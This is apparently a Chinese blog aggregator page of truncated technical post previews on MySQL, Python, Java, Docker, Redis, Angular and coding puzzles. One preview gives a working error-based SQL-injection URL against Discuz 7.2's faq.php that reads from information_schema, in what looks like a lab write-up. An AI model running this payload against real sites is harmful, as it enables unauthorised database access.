mysql 替换like查询的几种方法

MySQL比like语句更高效的写法 locate position instr find_in_set 标签: locate instr find_in_set 分类: MySQL 你是否一直在寻找比MySQL的LIKE语句更高效的方法的,下面我就为你介绍几种。 LIKE语句 SELECT `column` FROM `table` where `condition` like `%keyword%' 事实上,可以使用 locate(position) 和 instr 这两个函数来代替 一、
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

Python爬虫---爬取抖音短视频

目录 前言 抖音爬虫制作 选定网页 分析网页 提取id构造网址 拼接数据包链接 获取视频地址 下载视频 全部代码 实现结果 待解决的问题 前言 最近一直想要写一个抖音爬虫来批量下载抖音的短视频,但是经过几天的摸索我发现了一个很严重的问题......抖音实在是难爬!从一开始的网页分析中就有着很多的坑,但是这几天的摸索也不是一无所获,我鼓捣出来了一个问题版的抖音爬虫(操作较为复杂),所以我也想通过这篇博客来记录下我分析网页的过程,也想请教一下路过大佬们,欢迎各位大佬指出问题! 抖音爬虫制作 选定网
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

多文件模块的学生信息库系统

student.h 1 #include<stdio.h> 2 #include<string.h> 3 #define MaxSize 50 4 struct student 5 { 6 int num; 7 char name[10]; 8 int computer, english, math; 9 double average; 10 }; 11 void new_student(struct student students[]);
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

java学习day02-标识符+关键字+注释+变量

标识符 可以简单的理解为一个名字。在Java中,我们需要标识代码的很多元素,包括类名、方法、字段、变量、包名等。我们选择的名称就称为标识符,并且遵循以下规则: A. 标识符可以由字母、数字、下划线(_)、美元符($)组成,但不能包含 @、%、空格等其它特殊字符。 B. 不能以数字开头。 C. 标识符是严格区分大小写的。 D. 标识符的命名最好能反映出其作用,做到见名知意。 关键字 在java语言中已经被赋予特定意义的一些单词。一共有53个关键字。其中有两个
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

python数据分析——numpy数组及其运算

一、创建数组 1、 import numpy as np#导入numpy模块,np为命名可更改 a=np.array([1,2,3])#将列表变为数组 b=np.array((1,2,3))#将元组变为数组 print(a,b) [1 2 3] [1 2 3] 可通过这类方法将对象变为数组 2、 import numpy as np a=np.arange(6)#用法与range类似,不过返回的为数组 b=np.linspace(0,10,11)#创建等差数组,其中包含11个数 c=np.li
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

项目Alpha冲刺(7/10)

这个作业属于哪个课程 班级的链接 这个作业要求在哪里 团队作业第五次——站立式会议+alpha冲刺 团队名称 学长帮帮忙组 这个作业的目标 描述第六天冲刺的项目进展、问题困难、心得体会 作业正文 项目alpha冲刺7/10 其他参考文献 《flask web开发》、CSDN、《第一行代码》 项目燃尽图 会议照片 项目进展——成员情况 曾宏健: 项目进展:完成预约记录,辅导记录 问题困难:无 心得体会:多多实践 陈志达: 项目进展:测试密码修改 问题困难:暂无 心得体会:多动手 郑小华: 项目进
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

【字符串】520. 检测大写字母

题目: 解答: 其实只要记录有多少个大写字母即可,在遍历过程中,如果大写字母的个数小于正在遍历的下标,说明不符合题解,既不是连续的出现大写字母,如 “AaAa” 遍历到第二个 A 时的情况。 最终判断是否为全大写或只是首字母大写即可。 1 class Solution { 2 public: 3 bool detectCapitalUse(string word) 4 { 5 int uc = 0; 6 for (int i = 0
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

JSON类型解析

JSON类型解析 一、序列化和反序列化 程序中的对象,如python中的字典、列表、函数、类等,都是存在内存中,不方便传递或存储,所以需要将内存中的对象转化为文本或者文件格式,来满足传输和持久化(存储) 序列化:内存对象-->文本 反序列化:文本-->内存对象 JSON对象(Python字典)-->转为文本格式-->发送文本格式的请求 ->服务器收到请求-将文本格式转化为对象,获取其中的参数,处理业务 -->返回文本格式的响应-->客户端将文本格式转为对象格式,来获取响应的数据 二、Pytho
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

County Fair Events

先按照结束时间进行排序,取第一个节日的结束时间作为当前时间,然后从第二个节日开始搜索,如果下一个节日的开始时间大于当前的时间,那么就参加这个节日,并更新当前时间 #include <bits/stdc++.h> using namespace std; typedef long long ll; const int maxn = 1e4+5; struct node { int be, ed; // 开始时间和结束时间 }nds[maxn]; bool cmp(node x, nod
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

limit---hbsajke

2020-05-01
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

5385.改变一个整数能得到的最大差值

解题 思路 核心是分类讨论 将数转成字符串,便于截取操作;同时,将数转成字符数组,便于替换 根据要求,若要差值最大,需找到最小值,最大值。 注意不能有前导0 14ms 待优化 代码 public int maxDiff(int num) { String s = String.valueOf(num); int len= s.length(); char[] chars = s.toCharArray(); String s1="
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

【字符串】443. 压缩字符串

题目: 解答: 1 class Solution { 2 public: 3 int compress(vector<char>& chars) 4 { 5 6 if (chars.empty()) 7 { 8 return 0; 9 } 10 11 size_t j = 0; 12 int cnt = 0; 13
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

h5加载过程的小圈

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> <style> .
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

pycharm使用Terminal问题

第一次在pycharm上想讲.py程序打包成exe格式,方便在windows上直接点击运行 第一步,View ->Tool windows ->Terminal ;也可以直接点击左下角的terminal 第二步,使用pip安装pyinstaller,-->pip install pyinstaller 注意,我在安装过程中出现pip不是内部命令的报错,而单独在cmd中却正常使用,原因是pycharm中terminal执行依据的环境变量是系统环境变量,我当初将path放在用户环境变量;因此只需要
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

Spring 注解注入—@Qualifier 注释

当创建多个具有相同类型的 bean 时,并且想要用一个属性只为它们其中的一个进行装配,在这种情况下,你可以使用 @Qualifier 注释和 @Autowired 注释通过指定哪一个真正的 bean 将会被装配来消除混乱。下面显示的是使用 @Qualifier 注释的一个示例。 1.这里是 Student.java 文件的内容: 1 package com.spring.chapter7; 2 3 public class Student { 4 public String
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

Docker 镜像、容器、仓库

Docker的一些概念 docker image docker镜像 即容器模板,操作系统+软件运⾏环境+⽤户程序 类似于安装操作系统的windows镜像、centos镜像,只是一个模板 Docker container docker容器 容器是从镜像运行的实例,比如用tomcat镜像运行tomcat,就得到一个tomcat容器 容器,是应用程序的容器,tomcat容器是运行tomcat的,mysql容器是运行mysql的,微服务的容器是运行某个微服务的 一个镜像可运行多个容器(实例),好比一个
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

MySQL高级知识(一)--- 基础

1.关于MySQL的一些文件 MySQL如何安装、如何配置自启动,这里不进行讲述,可自行搜索相关安装教程进行处理。这里主要介绍MySQL的主要配置文件。 ①二进制日志log-bin:用于主从复制。 ②错误日志log-error:默认关闭,记录严重的警告和错误信息,每次启动和关闭的详细信息等。 ③查询日志show-log:默认关闭,记录查询的sql语句,如果开启会降低mysql的整体性能,因为记录日志也是需要消耗系统资源的。 ④frm文件:存放表结构。 ⑤myd文件:存放表数据。 ⑥myi文件:
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

Angular中利用rxjs库的Subject多播解决在第一次订阅时进行初始化操作(如第一次订阅时从服务器获取数据)

rxjs 库中 Subject 类可以用于实现多播,其本身已经有多个实现(可参考【Rxjs】 - 解析四种主题Subject),但是都是需要手动操作Subject对象进行发布。 这里通过继承 BehaviorSubject(Subject的实现类,也可以直接继承Subject,但这里考虑到可能会用到初始值的时候)实现在第一次订阅(调用subscribe方法)时进行初始化(可以从服务器获取数据)。 第一步: InitSubject 类定义 import {BehaviorSubject, Sub
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

discuz 7.2 floor()函数 报错回显

搭建完discuz网站后 打开 faq.php?页面 执行命令 , http://192.168.50.100/discuz/faq.php? action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),  floor(rand(0)*2 ) x from information_schema.schemata group by x)a) %23 出现报错 查看页面源码 1 //fa
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0

Redis系列(四):地理信息

除了Bitmaps和HyperLogLog,Redis还提供了关于地理空间的相关操作,主要是经纬度。Redis提供的地理信息操作是有误差的,最大误差可能会达到5%。Redis提供的Geo的操作如下: geoadd 完整命令参数为geoadd key longitude latitude member [longitude latitude member ...] 将指定的地理空间位置(纬度、经度、名称)添加到指定的key中。下面的例子是把广州塔(113.324553,23.106414)和中山
分类: 其他 发布时间: 05-03 20:29 阅读次数: 0